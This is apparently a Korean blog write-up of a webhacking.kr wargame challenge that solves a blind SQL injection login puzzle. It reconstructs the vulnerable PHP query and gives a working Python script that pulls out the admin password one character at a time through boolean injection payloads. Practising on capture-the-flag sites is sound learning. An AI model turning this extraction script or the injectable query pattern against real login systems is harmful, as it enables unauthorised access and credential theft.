문제에 접속하면 다음과 같은 화면이 나타납니다.
-> BLIND SQL INJECTION 문제라고 합니다.
Response 기반인지 time 기반인지 우선 확인하였습니다.
-> id/pw를 admin/admin으로 했을 때 login fail이라는 문구가 나타났습니다.
-> id/pw를 admin'#/admin으로 했을 때 wrong password이라는 문구가 나타났습니다.
이를 통하여 로그인 과정이 다음과 같은 코드로 이루어져 있다고 판단할 수 있습니다.
$result = mysqli_query($db, "select pw from table_name where id = '{$_GET['id'}'")
if (mysqli_num_rows($result) == 0){
echo "login fail";
}
else{
$login = mysqli_fetch_array($result);
if($login["pw"] == $_GET['pw']){
echo "login success";
}
else{
echo "wrong password";
}
}
따라서 admin의 pw를 획득하기 위해 필요한 and, 공백, if함수, length함수, substr함수, ascii함수를 확인하였지만 필터링되어 있지 않았습니다.
파이썬 코드는 다음과 같습니다.
더보기
import requests
#basic val
cookie = {"PHPSESSID": "쿠키 값"}
password = ""
length = 1
#get password length
while(1) :
parameter = "?id=admin' and length(pw) = {}%23&pw=1".format(length)
url = "https://webhacking.kr/challenge/bonus-1/index.php" + parameter
res = requests.get(url=url, cookies=cookie, verify = False)
result = res.text.find("wrong password")
length += 1
if result != -1 :
break
print('length :',length)
for i in range(1, length):
check = 1
for j in range(33,123):
parameter = "?id=admin' and ascii(substr(pw,{},1)) = {}%23&pw=1".format(i, j)
url = "https://webhacking.kr/challenge/bonus-1/index.php" + parameter
res = requests.get(url=url, cookies=cookie, verify = False)
result = res.text.find("wrong password")
if result != -1 :
password = password + chr(j)
check = 0
break
if check == 1:
print("hmmm..... something wrong!!")
break
print("admin password :", password)
끝~~
'Hacking > WebHacking.kr' 카테고리의 다른 글
Webhacking.kr : old-43 (250 pt) (0) | 2021.01.28 |
---|---|
Webhacking.kr : old-41 (250 pt) (0) | 2021.01.27 |
Webhacking.kr : old-12 (250 pt) (0) | 2021.01.27 |
Webhacking.kr : old-10 (250 pt) (0) | 2021.01.27 |
Webhacking.kr : old-47 (150 pt) (0) | 2021.01.26 |